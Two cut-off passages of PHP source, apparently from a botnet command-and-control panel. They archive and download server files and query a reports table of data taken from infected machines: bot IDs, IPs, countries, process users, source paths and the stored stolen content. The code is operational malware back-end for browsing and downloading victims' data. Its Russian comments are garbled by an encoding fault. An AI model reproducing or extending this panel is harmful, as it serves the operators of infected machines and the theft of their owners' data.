} } else { if ($_POST['filesaction'] == 1) { $list = array(); foreach ($_POST['files'] as $file) { $list[] = $_CUR_PATH . '/' . $file; } if (($arcfile = createTempFile('arc')) === false) { die('Failed to create temp file.'); } @unlink($arcfile); require_once 'fsarc.php'; if (!function_exists('fsarcCreate') || ($arcfile = fsarcCreate($arcfile, $list)) === false) { die('Failed to create archive, please check "system/fsarc.php" script.'); } httpDownloadHeaders(baseNameEx($arcfile), @filesize($arcfile)); echo @file_get_contents($arcfile); @unlink($arcfile); die; } } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// if (isset($_GET['search'])) { echo str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_REPORTS_LIST_NAME, 'auto'), THEME_LIST_HEADER_L) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_REPORTS_LIST_SIZE, 'auto'), THEME_LIST_HEADER_R) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_REPORTS_LIST_MTIME, 'auto'), THEME_LIST_HEADER_L) . THEME_LIST_ROW_END; $ci = 0; $counter = array(0, 0, 0); $lastfolder = 0; if ($_FILTER['bots'] != '' || $_FILTER['botnets'] != '') {
if ($tbl === 0) { ThemeFatalError(LNG_REPORTS_VIEW_NOT_EXISTS); } //P-P ° RіSЂSѓR · RєR ° C "P ° P № P" P °. if (isset($_GET['download'])) { $r = mysqlQueryEx($tbl, "SELECT context, LENGTH(context), path_dest FROM {$tbl} WHERE {$tbl}.id='" . addslashes($_GET['id']) . "' LIMIT 1"); if (!$r) { ThemeMySQLError(); } if (@mysql_affected_rows() != 1 || !($m = @mysql_fetch_row($r))) { ThemeFatalError(LNG_REPORTS_VIEW_NOT_EXISTS); } if (($file = baseNameEx($m[2])) == '') { $file = 'file'; } httpDownloadHeaders($file, $m[1]); echo $m[0]; die; } //RџRѕR "SѓS RμRј ‡ P ° P ± P ° P · RѕRІSѓSЋ ReRЅS" RѕSЂRјR ° C † ReSЋ. / / 0 / / 1 / / 2 / / 3 / / 4 / / 5 / / 6 / / 7 $r = mysqlQueryEx($tbl, "SELECT {$tbl}.bot_id, {$tbl}.botnet, {$tbl}.bot_version, {$tbl}.os_version, {$tbl}.language_id, {$tbl}.time_system, {$tbl}.time_localbias, {$tbl}.time_tick, " . "{$tbl}.rtime, {$tbl}.country, {$tbl}.ipv4, {$tbl}.process_name, {$tbl}.process_user, {$tbl}.path_source, {$tbl}.type, LENGTH({$tbl}.context), {$tbl}.path_dest, botnet_list.comment, botnet_list.flag_used " . "FROM {$tbl} LEFT JOIN botnet_list ON botnet_list.bot_id={$tbl}.bot_id WHERE {$tbl}.id='" . addslashes($_GET['id']) . "' LIMIT 1"); if (!$r) { ThemeMySQLError(); } if (@mysql_affected_rows() != 1 || !($m = @mysql_fetch_row($r))) { ThemeFatalError(LNG_REPORTS_VIEW_NOT_EXISTS); } //URL RґR "SЏ RїRѕRґ P · P ° RїSЂRѕSЃRѕRІ Rє RѕS, C ‡ RμS, Sѓ. $sub_url = QUERY_STRING_HTML . '&t=' . htmlEntitiesEx(urlencode($_GET['t'])) . '&id=' . htmlEntitiesEx(urlencode($_GET['id'])); //RџSЂRѕRІRμSЂSЏRμRј C ReRї RѕS, C ‡ RμS, P °. $context = '';